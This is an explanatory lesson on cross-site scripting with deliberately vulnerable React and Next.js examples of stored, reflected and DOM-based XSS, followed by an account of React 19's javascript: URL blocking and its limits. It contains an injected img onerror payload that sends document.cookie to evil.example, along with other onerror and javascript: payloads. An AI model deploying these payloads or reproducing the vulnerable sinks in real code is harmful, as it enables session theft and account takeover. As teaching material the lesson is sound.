XSS: when your page runs someone else's script

Cross-site scripting (XSS) is one bug with one shape: text an attacker controls ends up being parsed as code in your page. The classic carrier is a comment, a display name or a search term that your code turns into HTML.

// A comment from the database, written by an attacker:
const body = `<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">`;

commentEl.innerHTML = body; // parsed as HTML: the broken image fires onerror

The image fails to load, onerror runs, and the attacker's JavaScript is now executing inside your origin, in the victim's browser, with the victim's session. MDN's XSS page puts it plainly: the injected code "can do anything that the site's own code can do". That means it can:

• call your API with fetch('/api/...') — the browser attaches the user's cookies, because the request is same-origin;
• read whatever the page can read: the DOM, localStorage, a CSRF token in a hidden field;
• rewrite the page — a fake "session expired, log in again" form that posts the password elsewhere.

That is why XSS sits above the other web defences rather than beside them. CSRF tokens, SameSite cookies and CORS all assume the attacker is on another site. With XSS they are on yours. An HttpOnly cookie stops the script reading the session cookie, but the script doesn't need to read it — every request it makes carries the cookie anyway.

The fix is never "detect the evil string". It is: never let user text reach a place where the browser parses it as code — and the rest of this unit is about where those places are.

The three names describe where the attacker's string travels before something turns it into markup. The sink is the same idea every time; what changes is who can see the payload and how many people it hits.

Stored. The payload is saved — a bio, a product review, a support-ticket subject — and served to everyone who views it. MDN calls it "particularly severe, because the infected content will be served to all users who access the page, every time they access it". The admin who opens the ticket queue is the usual victim.

// app/u/[name]/page.tsx — the bio was saved from a profile form
const user = await getUser(name);
return <div dangerouslySetInnerHTML={{ __html: user.bio }} />; // runs for every visitor

Reflected. The payload rides in the request — usually a link the attacker gets the victim to open — and the server echoes it straight back into the response.

// app/search/route.ts — builds HTML by hand, so nothing escapes `q`
export async function GET(req: Request) {
  const q = new URL(req.url).searchParams.get("q") ?? "";
  return new Response(`<p>No results for ${q}</p>`, {
    headers: { "Content-Type": "text/html; charset=utf-8" },
  });
}
// /search?q=<img src=x onerror=alert(1)>

DOM-based. The payload never needs to reach your server: client-side code reads it from the URL (often the #fragment, which browsers don't send to the server at all), postMessage or storage, and writes it into a sink.

// a client component, after mount
const name = decodeURIComponent(location.hash.slice(1));
banner.current!.innerHTML = `Welcome back, ${name}`; // #<img src=x onerror=...>

Because the fragment never leaves the browser, server logs and server-side filters can't see a DOM-based attack happen.

The fix is the same for all three: keep the value out of HTML and script sinks — render it as text, or pass it through the right sanitiser or URL check first. The kind tells you where to look and how bad it is, not which defence to use.

<a href={user.website}> with javascript:fetch('/api/me')… used to be a working XSS in React. What happens now depends on the React version:

• React 16.9 – 18: the URL is rendered as given. React 16.9 added a development-only warning ("A future version of React will block javascript: URLs…"); production builds said nothing and the payload ran on click.
• React 19: the React 19 upgrade guide lists "Error for javascript URLs in src and href" as a breaking change. In practice React replaces the value. Rendering <a href=" JavaScript:alert(1)"> with React 19.2 — client or server, development or production build — produces:

<a href="javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')">x</a>

A click throws that error in the console instead of running the attacker's code. The check is a case-insensitive pattern that tolerates leading control characters and tabs or newlines inside the word, so the usual obfuscations are caught. The same replacement applied to src on an iframe and to a form's action in the same test run.

What it does not cover:

• Other schemes. data:text/html,… and vbscript:… are rendered unchanged. React's job is to stop the one scheme that runs script on click in every browser, not to decide which URLs your app accepts. OWASP's cheat sheet says it directly: React 19's blocking "does not replace application-specific URL validation".
• Your own navigation code. window.location.href = next or window.open(next) with a user-controlled value never passes through React's attribute code, so a ?next=javascript:… parameter is a DOM-based XSS that React 19 does nothing about. (In Next.js 16.2's source, the App Router's router.push / router.replace throw on a javascript: URL themselves — a framework check, not React's, and it doesn't cover window.location.)
• Anything inside dangerouslySetInnerHTML. React sets that string as innerHTML; a javascript: link inside it is not inspected.
• Older React. A library or micro-frontend still on React 18 is still exposed.

So the allow-list from the medium reading stays. React 19's blocking is a backstop that turns a missed check from "account takeover" into "a broken link" — and a link that renders as a throwing javascript: URL is also a bad user experience, which is one more reason to decide in your own code whether a value becomes a link at all.